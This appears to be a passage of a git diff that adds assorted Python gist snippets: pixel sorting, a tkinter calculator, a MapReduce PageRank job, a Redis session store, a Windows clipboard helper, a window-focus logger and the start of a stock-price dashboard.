+# copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+# THE SOFTWARE.
+
+from PIL import Image
+import random, sys
+
+def quick_sort(pixels):
+	#Quicksort function that sorts pixels based on combined RGB values (R + B + G)
+	if pixels == []:
+		return pixels
+
+	else:
+		pivot = pixels[0]
+		lesser = quick_sort([x for x in pixels[1:] if (x[0] + x[1] + x[2]) < (pivot[0] + pivot[1] + pivot[2])])
+		greater = quick_sort([x for x in pixels[1:] if (x[0] + x[1] + x[2]) >= (pivot[0] + pivot[1] + pivot[2])])
+		return lesser + [pivot] + greater
+
+def sort_all_pixels(image):
+	#sorts every line of pixels
+	print("Sorting all pixels.")
+
+	print("Opening image...")
+	img = Image.open(image)
+	img = img.convert('RGBA')
+	print("Get data...")
+	data = img.load()
+
+	new = Image.new('RGBA', img.size)
+
+	pixels = []
+	sorted_pixels = []
+	print("Getting pixels...")
+	#Load all of the pixels into the pixels list
+	for y in range(img.size[1]):
+		pixels.append([])
+		for x in range(img.size[0]):
+			pixels[y].append(data[x, y])
+
+	print("Quicksorting pixels...")
+	for y in range(img.size[1]):
+			sorted_pixels.append(quick_sort(pixels[y]))
+
+	print("Placing pixels...")
+	for y in range(img.size[1]):
+		for x in range(img.size[0]):
+			new.putpixel((x, y), sorted_pixels[y][x]) #apply the pixels to the new image
+
+	print("Saving image...")
+	new.save('output-sortall.png')
+
+
+def random_sort_pixels(image, intensity):
+	#sorts pixels in a random fashion
+
+	if intensity > 100:
+		intensity = 100
+
+	print("Sorting " + image + " with intensity " + str(intensity))
+
+	#Open the image, convert it to RGBA, get the pixels 
+	print("Opening image...")
+	img = Image.open(image)
+	img = img.convert('RGBA')
+	print("Get data...")
+	data = img.load()
+
+	new = Image.new('RGBA', img.size)
+
+	pixels = []
+	sorted_pixels = []
+	print("Getting pixels...")
+	#Load all of the pixels into the pixels list
+	for y in range(img.size[1]):
+		pixels.append([])
+		for x in range(img.size[0]):
+			pixels[y].append(data[x, y])
+
+	print("Quicksorting pixels...")
+	for y in range(img.size[1]):
+		#pick different starting points for each line
+		if(random.randint(0, 100) > intensity):
+			sorted_pixels.append(pixels[y]) #Don't sort this line of pixels
+		else:
+			minsort = random.randint(3, len(pixels[y]) - 3) #pick the start of the sorted area on this pixel line
+			maxsort = random.randint(minsort, len(pixels[y]) - 1)# pick the end of the sorted area on this pixel line
+			sort = []
+			for x in range(minsort, maxsort):
+				sort.append(pixels[y][x]) 
+
+			sort = quick_sort(sort) #sort the pixels by brightness
+
+			i = 0
+			for x in range(minsort, maxsort):
+				pixels[y][x] = sort[i]
+				i = i + 1
+
+			sorted_pixels.append(pixels[y])
+
+
+	print("Placing pixels...")
+	for y in range(img.size[1]):
+		for x in range(img.size[0]):
+			new.putpixel((x, y), sorted_pixels[y][x]) #apply the pixels to the new image
+
+	print("Saving image...")
+	new.save('output-sortrandom.png')
+
+def sort_pixels_pivot(image):
+	print ("Sorting pixels on pivot.")
+
+	#Open the image, convert it to RGBA, get the pixels 
+	print("Opening image...")
+	img = Image.open(image)
+	img = img.convert('RGBA')
+	print("Get data...")
+	data = img.load()
+
+	new = Image.new('RGBA', img.size)
+
+	pixels = []
+	sorted_pixels = []
+	print("Getting pixels...")
+	#Load all of the pixels into the pixels list
+	for y in range(img.size[1]):
+		pixels.append([])
+		for x in range(img.size[0]):
+			pixels[y].append(data[x, y])
+
+	print("Quicksorting pixels...")
+
+	minsort = random.randint(3, img.size[0] - 3) #get sorting pivot
+	for y in range(img.size[1]):
+		maxsort = random.randint(minsort, len(pixels[y]) - 1) #pick the end of the sorted area on this pixel line
+		sort = []
+		for x in range(minsort, maxsort):
+			sort.append(pixels[y][x])
+		sort = quick_sort(sort) #sort the pixels by brightness
+
+		i = 0
+		for x in range(minsort, maxsort):
+			pixels[y][x] = sort[i]
+			i = i + 1
+
+		sorted_pixels.append(pixels[y])
+
+
+	print("Placing pixels...")
+	for y in range(img.size[1]):
+		for x in range(img.size[0]):
+			new.putpixel((x, y), sorted_pixels[y][x]) #apply the pixels to the new image
+
+	print("Saving image...")
+	new.save('output-sortpivot.png')
+
+sys.setrecursionlimit(10000) #Increase the recursion depth limit. Without this, the script fails on larger images because quicksort recurses too much.
+sort_all_pixels("image.jpg")
+random_sort_pixels("image.jpg", random.randint(1, 100))
+sort_pixels_pivot("image.jpg")
+
+
diff --git a/hard-gists/667e61d2f101f2f04542/._snippet.py b/hard-gists/667e61d2f101f2f04542/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/667e61d2f101f2f04542/._snippet.py differ
diff --git a/hard-gists/667e61d2f101f2f04542/snippet.py b/hard-gists/667e61d2f101f2f04542/snippet.py
new file mode 100644
index 00000000..5d7898a5
--- /dev/null
+++ b/hard-gists/667e61d2f101f2f04542/snippet.py
@@ -0,0 +1,45 @@
+# Imports tkinter and constants
+import tkinter
+from tkinter.constants import *
+
+# addition function
+def add():
+    a = float(num1In.get("1.0",END))
+    b = float(num2In.get("1.0",END))
+    ansOut['text'] = str(a + b)
+
+#defines window
+tk = tkinter.Tk()
+
+# creates a frame (a place on which to put components)
+frame = tkinter.Frame(tk, relief=RIDGE, borderwidth=2)
+
+#packs frame to fill window
+frame.pack(fill=BOTH,expand=1)
+
+#defines a label (static text to show purporse of input)
+num1Lb = tkinter.Label(frame, text = "Enter Number One: ")
+
+#places component on a grid (colum span shows how many colums it goes through)
+num1Lb.grid(row=0, column=0, columnspan=2)
+
+#defines a text input box (a place to recieve text input)
+num1In = tkinter.Text(frame, height=1, width=31)
+
+#places component on a grid
+num1In.grid(row=0, column=2, columnspan=2)
+
+#same as with number 1
+num2Lb = tkinter.Label(frame, text = "Enter Number Two: ")
+num2Lb.grid(row=1, column=0, columnspan=2)
+num2In = tkinter.Text(frame, height=1, width=31)
+num2In.grid(row=1, column=2, columnspan=2)
+
+#defines a button (fommand is function but without brackets)
+btnAdd = tkinter.Button(frame, text="Add", command=add)
+
+#places component on a grid
+btnAdd.grid(row=3, column=0, columnspan=1)
+
+#starts window
+tk.mainloop()
\ No newline at end of file
diff --git a/hard-gists/6680676/._snippet.py b/hard-gists/6680676/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6680676/._snippet.py differ
diff --git a/hard-gists/6680676/snippet.py b/hard-gists/6680676/snippet.py
new file mode 100644
index 00000000..55c5dd02
--- /dev/null
+++ b/hard-gists/6680676/snippet.py
@@ -0,0 +1,202 @@
+# -*- coding: utf-8 -*-
+
+# Copyright © 2013 crodas
+
+# Permission is hereby granted, free of charge, to any
+# person obtaining a copy of this software and associated
+# documentation files (the "Software"), to deal in the
+# Software without restriction, including without limitation
+# the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the
+# Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice
+# shall be included in all copies or substantial portions of
+# the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
+# KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
+# WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
+# PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS
+# OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+# OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
+# OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
+# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+from disco.job import Job
+from disco.core import result_iterator
+from disco.worker.classic.worker import Params
+from disco.util import kvgroup
+from disco.worker.task_io import chain_reader
+import sys
+
+separator = "<separator>"
+
+def partition_function(key, nr_partitions, params):
+    k = ZKEY(key)
+    return hash(k[0]) % nr_partitions
+
+def mapReduce(zclass):
+    zclass.partition  = staticmethod(partition_function)
+    zclass.map_reader = staticmethod(chain_reader)
+    zclass.sort       = True
+    zclass.merge_partitions = True
+    zclass.partitions = 6
+    return zclass
+
+def run(task, zinput, payload=None):
+    import pagerank
+
+    zclass = getattr(pagerank, task)
+    job = zclass();
+    job.params     = Params(payload=payload)
+
+    job.run(input=zinput)
+    result = job.wait(show = False)
+
+    return result
+
+def ZKEY(args):
+    global separator
+    return args.split(separator)
+
+def KEY(*args):
+    global separator
+    _args = []
+    for val in args:
+        if (type(val) == int or type(val) == float):
+            val = str(val)
+            if len(val) < 10:
+                val = val.rjust(10, '0')
+        _args.append(str(val))
+    return separator.join(_args)
+
+"""
+Count backlinks that each nodes had
+"""
+@mapReduce
+class Prepare(Job):
+
+    @staticmethod
+    def map(line, params):
+        parts = line.split()
+
+        # Calculate the outlinks for each node
+        yield parts[0], 1
+
+    @staticmethod
+    def reduce(iter, params):
+        lastId = None
+        for id, value in iter:
+            if lastId == None:
+                lastId = id
+                sum    = 0
+            if lastId != id:
+                yield lastId, {"outlink":sum, "pagerank": 0.15, "id": lastId}
+                lastId = id
+                sum    = 0
+            sum = sum + value
+
+        yield lastId, {"outlink":sum, "pagerank": 0.15, "id": lastId}
+            
+"""
+Create and update the Graph in a computation friendly format
+"""
+@mapReduce
+class UpdateGraph(Job):
+
+    @staticmethod
+    def map(line, params):
+        if type(line) == str:
+            parts = line.split()
+        else:
+            parts = line
+
+        key   = parts[0]
+        value = parts[1]
+
+        if type(line) == str:
+            yield KEY(key, 3), value
+        elif type(value) == float:
+            yield KEY(key, 2), value
+        else:
+            yield KEY(key, 1), value
+
+    @staticmethod
+    def reduce(iter, params):
+        lastId = None
+        node   = None
+        for id, data in iter:
+            zid = ZKEY(id)
+            if lastId == None or zid[0] != lastId:
+                lastId = zid[0]
+                node = data
+            elif int(zid[1]) == 2:
+                node['pagerank'] = data
+            elif int(zid[1]) == 3:
+                yield data, node
+
+
+"""
+Calculate the PageRank
+"""
+@mapReduce
+class PageRank(Job):
+
+    @staticmethod
+    def map(line, params):
+        key = line[0]
+        value = line[1]
+        yield key, value['pagerank']/value['outlink']
+
+    @staticmethod
+    def reduce(iter, params):
+        lastId = None
+        sum    = 0
+        for id, value in iter:
+            if lastId == None:
+                lastId = id
+            elif lastId != id:
+                yield lastId, 0.15 + 0.85 * sum
+                lastId = id
+                sum    = 0
+            sum = sum + value
+
+        if sum > 0:
+            yield lastId, 0.15 + 0.85 * sum
+
+"""
+Sort each output by their pagerank (in descendent order)
+"""
+@mapReduce
+class Sort(Job):
+
+    @staticmethod
+    def map(line, params):
+        key = line[0]
+        value = line[1]
+        yield str(int((1/value)*1000000000)).rjust(20, '0'), [key, value]
+
+    @staticmethod
+    def reduce(iter, params):
+        for key,value in iter:
+            yield value[0], value[1]
+
+if __name__ == "__main__":
+    input = 'pagerank'
+    nodes = run('Prepare', [input])
+
+    for i in range(5):
+        if i > 0:
+            graph = run("UpdateGraph", [input, nodes, pagerank])
+        else:
+            graph = run("UpdateGraph", [input, nodes])
+    
+        pagerank = run("PageRank", graph)
+
+
+    f = open('salida.txt', 'w')
+    for word, value in result_iterator(run('Sort', [pagerank])):
+        f.write("%s\t\t%s\n" %(word,value))
+    f.close()
diff --git a/hard-gists/668791/._snippet.py b/hard-gists/668791/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/668791/._snippet.py differ
diff --git a/hard-gists/668791/snippet.py b/hard-gists/668791/snippet.py
new file mode 100644
index 00000000..10233db6
--- /dev/null
+++ b/hard-gists/668791/snippet.py
@@ -0,0 +1,57 @@
+import simplejson
+
+from django.contrib.sessions.backends.base import SessionBase, CreateError
+
+from django_ext.redis_helper import get_redis
+
+
+class SessionStore(SessionBase):
+    """
+    A Redis-based session store.
+    """
+    
+    def __init__(self, session_key=None):
+        self._redis = get_redis()
+        super(SessionStore, self).__init__(session_key)
+    
+    def load(self):
+        session_data = self._redis.get('session:' + self.session_key)
+        if session_data is not None:
+            return simplejson.loads(session_data)
+        self.create()
+        return {}
+    
+    def create(self):
+        for i in xrange(10000):
+            self.session_key = self._get_new_session_key()
+            try:
+                self.save(must_create=True)
+            except CreateError:
+                continue
+            self.modified = True
+            return
+        raise RuntimeError("Unable to create a new session key.")
+    
+    def save(self, must_create=False):
+        if must_create:
+            func = self._redis.setnx
+        else:
+            func = self._redis.set
+        key = 'session:' + self.session_key
+        data = simplejson.dumps(self._get_session(no_load=must_create))
+        result = func(key, data)
+        if must_create and not result:
+            raise CreateError
+        self._redis.expire(key, self.get_expiry_age())
+    
+    def exists(self, session_key):
+        if self._redis.exists('session:' + session_key):
+            return True
+        return False
+    
+    def delete(self, session_key=None):
+        if session_key is None:
+            if self._session_key is None:
+                return
+            session_key = self._session_key
+        self._redis.delete('session:' + session_key)
\ No newline at end of file
diff --git a/hard-gists/6691093/._snippet.py b/hard-gists/6691093/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6691093/._snippet.py differ
diff --git a/hard-gists/6691093/snippet.py b/hard-gists/6691093/snippet.py
new file mode 100644
index 00000000..48718430
--- /dev/null
+++ b/hard-gists/6691093/snippet.py
@@ -0,0 +1,313 @@
+"""
+Created on Sep 24, 2013
+
+@author: RandomHardcoreJerks
+
+Requires pywin32
+
+
+original: http://code.activestate.com/recipes/474121/
+    # HtmlClipboard
+    # An interface to the "HTML Format" clipboard data format
+    
+    __author__ = "Phillip Piper (jppx1[at]bigfoot.com)"
+    __date__ = "2006-02-21"
+    __version__ = "0.1"
+
+"""
+
+import re
+import time
+import random
+import win32clipboard
+
+#---------------------------------------------------------------------------
+#  Convenience functions to do the most common operation
+
+def HasHtml():
+    """
+    Return True if there is a Html fragment in the clipboard..
+    """
+    cb = HtmlClipboard()
+    return cb.HasHtmlFormat()
+
+
+def GetHtml():
+    """
+    Return the Html fragment from the clipboard or None if there is no Html in the clipboard.
+    """
+    cb = HtmlClipboard()
+    if cb.HasHtmlFormat():
+        return cb.GetFragment()
+    else:
+        return None
+
+
+def PutHtml(fragment):
+    """
+    Put the given fragment into the clipboard.
+    Convenience function to do the most common operation
+    """
+    cb = HtmlClipboard()
+    cb.PutFragment(fragment)
+
+
+#---------------------------------------------------------------------------
+
+class HtmlClipboard:
+
+    CF_HTML = None
+
+    MARKER_BLOCK_OUTPUT = \
+        "Version:1.0\r\n" \
+        "StartHTML:%09d\r\n" \
+        "EndHTML:%09d\r\n" \
+        "StartFragment:%09d\r\n" \
+        "EndFragment:%09d\r\n" \
+        "StartSelection:%09d\r\n" \
+        "EndSelection:%09d\r\n" \
+        "SourceURL:%s\r\n"
+
+    MARKER_BLOCK_EX = \
+        "Version:(\S+)\s+" \
+        "StartHTML:(\d+)\s+" \
+        "EndHTML:(\d+)\s+" \
+        "StartFragment:(\d+)\s+" \
+        "EndFragment:(\d+)\s+" \
+        "StartSelection:(\d+)\s+" \
+        "EndSelection:(\d+)\s+" \
+        "SourceURL:(\S+)"
+    MARKER_BLOCK_EX_RE = re.compile(MARKER_BLOCK_EX)
+
+    MARKER_BLOCK = \
+        "Version:(\S+)\s+" \
+        "StartHTML:(\d+)\s+" \
+        "EndHTML:(\d+)\s+" \
+        "StartFragment:(\d+)\s+" \
+        "EndFragment:(\d+)\s+" \
+           "SourceURL:(\S+)"
+    MARKER_BLOCK_RE = re.compile(MARKER_BLOCK)
+
+    DEFAULT_HTML_BODY = \
+        "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">" \
+        "<HTML><HEAD></HEAD><BODY><!--StartFragment-->%s<!--EndFragment--></BODY></HTML>"
+
+    def __init__(self):
+        self.html = None
+        self.fragment = None
+        self.selection = None
+        self.source = None
+        self.htmlClipboardVersion = None
+
+
+    def GetCfHtml(self):
+        """
+        Return the FORMATID of the HTML format
+        """
+        if self.CF_HTML is None:
+            self.CF_HTML = win32clipboard.RegisterClipboardFormat("HTML Format")
+
+        return self.CF_HTML
+
+
+    def GetAvailableFormats(self):
+        """
+        Return a possibly empty list of formats available on the clipboard
+        """
+        formats = []
+        try:
+            win32clipboard.OpenClipboard(0)
+            cf = win32clipboard.EnumClipboardFormats(0)
+            while (cf != 0):
+                formats.append(cf)
+                cf = win32clipboard.EnumClipboardFormats(cf)
+        finally:
+            win32clipboard.CloseClipboard()
+
+        return formats
+
+
+    def HasHtmlFormat(self):
+        """
+        Return a boolean indicating if the clipboard has data in HTML format
+        """
+        return (self.GetCfHtml() in self.GetAvailableFormats())
+
+
+    def GetFromClipboard(self):
+        """
+        Read and decode the HTML from the clipboard
+        """
+
+        # implement fix from: http://teachthe.net/?p=1137
+
+        cbOpened = False
+        while not cbOpened:
+            try:
+                win32clipboard.OpenClipboard(0)
+                src = win32clipboard.GetClipboardData(self.GetCfHtml())
+                src = src.decode("UTF-8")
+                #print(src)
+                self.DecodeClipboardSource(src)
+                
+                cbOpened = True
+
+                win32clipboard.CloseClipboard()
+            except Exception as err:
+                # If access is denied, that means that the clipboard is in use.
+                # Keep trying until it's available.
+                if err.winerror == 5:  # Access Denied
+                    pass
+                    # wait on clipboard because something else has it. we're waiting a
+                    # random amount of time before we try again so we don't collide again
+                    time.sleep( random.random()/50 )
+                elif err.winerror == 1418:  # doesn't have board open
+                    pass
+                elif err.winerror == 0:  # open failure
+                    pass
+                else:
+                    print( 'ERROR in Clipboard section of readcomments: %s' % err)
+
+                    pass        
+        
+    def DecodeClipboardSource(self, src):
+        """
+        Decode the given string to figure out the details of the HTML that's on the string
+        """
+        # Try the extended format first (which has an explicit selection)
+        matches = self.MARKER_BLOCK_EX_RE.match(src)
+        if matches:
+            self.prefix = matches.group(0)
+            self.htmlClipboardVersion = matches.group(1)
+            self.html = src[int(matches.group(2)):int(matches.group(3))]
+            self.fragment = src[int(matches.group(4)):int(matches.group(5))]
+            self.selection = src[int(matches.group(6)):int(matches.group(7))]
+            self.source = matches.group(8)
+        else:
+            # Failing that, try the version without a selection
+            matches = self.MARKER_BLOCK_RE.match(src)
+            if matches:
+                self.prefix = matches.group(0)
+                self.htmlClipboardVersion = matches.group(1)
+                self.html = src[int(matches.group(2)):int(matches.group(3))]
+                self.fragment = src[int(matches.group(4)):int(matches.group(5))]
+                self.source = matches.group(6)
+                self.selection = self.fragment
+
+
+    def GetHtml(self, refresh=False):
+        """
+        Return the entire Html document
+        """
+        if not self.html or refresh:
+            self.GetFromClipboard()
+        return self.html
+
+
+    def GetFragment(self, refresh=False):
+        """
+        Return the Html fragment. A fragment is well-formated HTML enclosing the selected text
+        """
+        if not self.fragment or refresh:
+            self.GetFromClipboard()
+        return self.fragment
+
+
+    def GetSelection(self, refresh=False):
+        """
+        Return the part of the HTML that was selected. It might not be well-formed.
+        """
+        if not self.selection or refresh:
+            self.GetFromClipboard()
+        return self.selection
+
+
+    def GetSource(self, refresh=False):
+        """
+        Return the URL of the source of this HTML
+        """
+        if not self.selection or refresh:
+            self.GetFromClipboard()
+        return self.source
+
+
+    def PutFragment(self, fragment, selection=None, html=None, source=None):
+        """
+        Put the given well-formed fragment of Html into the clipboard.
+
+        selection, if given, must be a literal string within fragment.
+        html, if given, must be a well-formed Html document that textually
+        contains fragment and its required markers.
+        """
+        if selection is None:
+            selection = fragment
+        if html is None:
+            html = self.DEFAULT_HTML_BODY % fragment
+        if source is None:
+            source = "file://HtmlClipboard.py"
+
+        fragmentStart = html.index(fragment)
+        fragmentEnd = fragmentStart + len(fragment)
+        selectionStart = html.index(selection)
+        selectionEnd = selectionStart + len(selection)
+        self.PutToClipboard(html, fragmentStart, fragmentEnd, selectionStart, selectionEnd, source)
+
+
+    def PutToClipboard(self, html, fragmentStart, fragmentEnd, selectionStart, selectionEnd, source="None"):
+        """
+        Replace the Clipboard contents with the given html information.
+        """
+
+        try:
+            win32clipboard.OpenClipboard(0)
+            win32clipboard.EmptyClipboard()
+            src = self.EncodeClipboardSource(html, fragmentStart, fragmentEnd, selectionStart, selectionEnd, source)
+            src = src.encode("UTF-8")
+            #print(src)
+            win32clipboard.SetClipboardData(self.GetCfHtml(), src)
+        finally:
+            win32clipboard.CloseClipboard()
+
+
+    def EncodeClipboardSource(self, html, fragmentStart, fragmentEnd, selectionStart, selectionEnd, source):
+        """
+        Join all our bits of information into a string formatted as per the HTML format specs.
+        """
+        # How long is the prefix going to be?
+        dummyPrefix = self.MARKER_BLOCK_OUTPUT % (0, 0, 0, 0, 0, 0, source)
+        lenPrefix = len(dummyPrefix)
+
+        prefix = self.MARKER_BLOCK_OUTPUT % (lenPrefix, len(html)+lenPrefix,
+                        fragmentStart+lenPrefix, fragmentEnd+lenPrefix,
+                        selectionStart+lenPrefix, selectionEnd+lenPrefix,
+                        source)
+        return (prefix + html)
+
+
+def DumpHtml():
+
+    cb = HtmlClipboard()
+    print("GetAvailableFormats()=%s" % str(cb.GetAvailableFormats()))
+    print("HasHtmlFormat()=%s" % str(cb.HasHtmlFormat()))
+    if cb.HasHtmlFormat():
+        cb.GetFromClipboard()
+        print("prefix=>>>%s<<<END" % cb.prefix)
+        print("htmlClipboardVersion=>>>%s<<<END" % cb.htmlClipboardVersion)
+        print("GetSelection()=>>>%s<<<END" % cb.GetSelection())
+        print("GetFragment()=>>>%s<<<END" % cb.GetFragment())
+        print("GetHtml()=>>>%s<<<END" % cb.GetHtml())
+        print("GetSource()=>>>%s<<<END" % cb.GetSource())
+
+
+if __name__ == '__main__':
+
+    def test_SimpleGetPutHtml():
+        data = "<p>Writing to the clipboard is <strong>easy</strong> with this code.</p>"
+        PutHtml(data)
+        if GetHtml() == data:
+            print("passed")
+        else:
+            print("failed")
+
+    test_SimpleGetPutHtml()
+    #DumpHtml()
diff --git a/hard-gists/6695625/._snippet.py b/hard-gists/6695625/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6695625/._snippet.py differ
diff --git a/hard-gists/6695625/snippet.py b/hard-gists/6695625/snippet.py
new file mode 100644
index 00000000..2e5eb66e
--- /dev/null
+++ b/hard-gists/6695625/snippet.py
@@ -0,0 +1,193 @@
+"""Log window focus and appearance.
+
+Written to try to debug some window popping up and stealing focus from my
+Spelunky game for a split second.
+
+Developed with 32-bit python on Windows 7. Might work in other environments,
+but some of these APIs might not exist before Vista.
+
+Much credit to Eric Blade for this:
+https://mail.python.org/pipermail/python-win32/2009-July/009381.html
+and David Heffernan:
+http://stackoverflow.com/a/15898768/9585
+"""
+
+# using pywin32 for constants and ctypes for everything else seems a little
+# indecisive, but whatevs.
+import win32con
+
+import sys
+import ctypes
+import ctypes.wintypes
+
+user32 = ctypes.windll.user32
+ole32 = ctypes.windll.ole32
+kernel32 = ctypes.windll.kernel32
+
+WinEventProcType = ctypes.WINFUNCTYPE(
+    None,
+    ctypes.wintypes.HANDLE,
+    ctypes.wintypes.DWORD,
+    ctypes.wintypes.HWND,
+    ctypes.wintypes.LONG,
+    ctypes.wintypes.LONG,
+    ctypes.wintypes.DWORD,
+    ctypes.wintypes.DWORD
+)
+
+
+# The types of events we want to listen for, and the names we'll use for
+# them in the log output. Pick from
+# http://msdn.microsoft.com/en-us/library/windows/desktop/dd318066(v=vs.85).aspx
+eventTypes = {
+    win32con.EVENT_SYSTEM_FOREGROUND: "Foreground",
+    win32con.EVENT_OBJECT_FOCUS: "Focus",
+    win32con.EVENT_OBJECT_SHOW: "Show",
+    win32con.EVENT_SYSTEM_DIALOGSTART: "Dialog",
+    win32con.EVENT_SYSTEM_CAPTURESTART: "Capture",
+    win32con.EVENT_SYSTEM_MINIMIZEEND: "UnMinimize"
+}
+
+# limited information would be sufficient, but our platform doesn't have it.
+processFlag = getattr(win32con, 'PROCESS_QUERY_LIMITED_INFORMATION',
+                      win32con.PROCESS_QUERY_INFORMATION)
+
+threadFlag = getattr(win32con, 'THREAD_QUERY_LIMITED_INFORMATION',
+                     win32con.THREAD_QUERY_INFORMATION)
+
+
+# store last event time for displaying time between events
+lastTime = 0
+
+def log(msg):
+    print(msg)
+
+def logError(msg):
+    sys.stdout.write(msg + '\n')
+
+
+def getProcessID(dwEventThread, hwnd):
+    # It's possible to have a window we can get a PID out of when the thread
+    # isn't accessible, but it's also possible to get called with no window,
+    # so we have two approaches.
+
+    hThread = kernel32.OpenThread(threadFlag, 0, dwEventThread)
+
+    if hThread:
+        try:
+            processID = kernel32.GetProcessIdOfThread(hThread)
+            if not processID:
+                logError("Couldn't get process for thread %s: %s" %
+                         (hThread, ctypes.WinError()))
+        finally:
+            kernel32.CloseHandle(hThread)
+    else:
+        errors = ["No thread handle for %s: %s" %
+                  (dwEventThread, ctypes.WinError(),)]
+
+        if hwnd:
+            processID = ctypes.wintypes.DWORD()
+            threadID = user32.GetWindowThreadProcessId(
+                hwnd, ctypes.byref(processID))
+            if threadID != dwEventThread:
+                logError("Window thread != event thread? %s != %s" %
+                         (threadID, dwEventThread))
+            if processID:
+                processID = processID.value
+            else:
+                errors.append(
+                    "GetWindowThreadProcessID(%s) didn't work either: %s" % (
+                    hwnd, ctypes.WinError()))
+                processID = None
+        else:
+            processID = None
+
+        if not processID:
+            for err in errors:
+                logError(err)
+
+    return processID
+
+
+def getProcessFilename(processID):
+    hProcess = kernel32.OpenProcess(processFlag, 0, processID)
+    if not hProcess:
+        logError("OpenProcess(%s) failed: %s" % (processID, ctypes.WinError()))
+        return None
+
+    try:
+        filenameBufferSize = ctypes.wintypes.DWORD(4096)
+        filename = ctypes.create_unicode_buffer(filenameBufferSize.value)
+        kernel32.QueryFullProcessImageNameW(hProcess, 0, ctypes.byref(filename),
+                                            ctypes.byref(filenameBufferSize))
+
+        return filename.value
+    finally:
+        kernel32.CloseHandle(hProcess)
+
+
+def callback(hWinEventHook, event, hwnd, idObject, idChild, dwEventThread,
+             dwmsEventTime):
+    global lastTime
+    length = user32.GetWindowTextLengthW(hwnd)
+    title = ctypes.create_unicode_buffer(length + 1)
+    user32.GetWindowTextW(hwnd, title, length + 1)
+
+    processID = getProcessID(dwEventThread, hwnd)
+
+    shortName = '?'
+    if processID:
+        filename = getProcessFilename(processID)
+        if filename:
+            shortName = '\\'.join(filename.rsplit('\\', 2)[-2:])
+
+    if hwnd:
+        hwnd = hex(hwnd)
+    elif idObject == win32con.OBJID_CURSOR:
+        hwnd = '<Cursor>'
+
+    log(u"%s:%04.2f\t%-10s\t"
+        u"W:%-8s\tP:%-8d\tT:%-8d\t"
+        u"%s\t%s" % (
+        dwmsEventTime, float(dwmsEventTime - lastTime)/1000, eventTypes.get(event, hex(event)),
+        hwnd, processID or -1, dwEventThread or -1,
+        shortName, title.value))
+
+    lastTime = dwmsEventTime
+
+
+def setHook(WinEventProc, eventType):
+    return user32.SetWinEventHook(
+        eventType,
+        eventType,
+        0,
+        WinEventProc,
+        0,
+        0,
+        win32con.WINEVENT_OUTOFCONTEXT
+    )
+
+
+def main():
+    ole32.CoInitialize(0)
+
+    WinEventProc = WinEventProcType(callback)
+    user32.SetWinEventHook.restype = ctypes.wintypes.HANDLE
+
+    hookIDs = [setHook(WinEventProc, et) for et in eventTypes.keys()]
+    if not any(hookIDs):
+        print 'SetWinEventHook failed'
+        sys.exit(1)
+
+    msg = ctypes.wintypes.MSG()
+    while user32.GetMessageW(ctypes.byref(msg), 0, 0, 0) != 0:
+        user32.TranslateMessageW(msg)
+        user32.DispatchMessageW(msg)
+
+    for hookID in hookIDs:
+        user32.UnhookWinEvent(hookID)
+    ole32.CoUninitialize()
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/66ed98cf3fc2b161df47c0c08954dc62/._snippet.py b/hard-gists/66ed98cf3fc2b161df47c0c08954dc62/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/66ed98cf3fc2b161df47c0c08954dc62/._snippet.py differ
diff --git a/hard-gists/66ed98cf3fc2b161df47c0c08954dc62/snippet.py b/hard-gists/66ed98cf3fc2b161df47c0c08954dc62/snippet.py
new file mode 100644
index 00000000..fae85f49
--- /dev/null
+++ b/hard-gists/66ed98cf3fc2b161df47c0c08954dc62/snippet.py
@@ -0,0 +1,70 @@
+import io
+import requests
+import pandas as pd
+from bokeh.models import ColumnDataSource, HoverTool, ResizeTool, SaveTool
+from bokeh.models.widgets import TextInput, Button
+from bokeh.plotting import figure, curdoc
+from bokeh.layouts import row, widgetbox
+
+
+TICKER = ""
+base = "https://api.iextrading.com/1.0/"
+data = ColumnDataSource(dict(time=[], display_time=[], price=[]))
+
+
+def get_last_price(symbol):
+    payload = {
+        "format": "csv",
+        "symbols": symbol
+    }
+    endpoint = "tops/last"
+
+    raw = requests.get(base + endpoint, params=payload)
+    raw = io.BytesIO(raw.content)
+    prices_df = pd.read_csv(raw, sep=",")
+    prices_df["time"] = pd.to_datetime(prices_df["time"], unit="ms")
+    prices_df["display_time"] = prices_df["time"].dt.strftime("%m-%d-%Y %H:%M:%S.%f")
+
+    return prices_df
+
+def update_ticker():
+    global TICKER
+    TICKER = ticker_textbox.value
+    price_plot.title.text = "IEX Real-Time Price: " + ticker_textbox.value
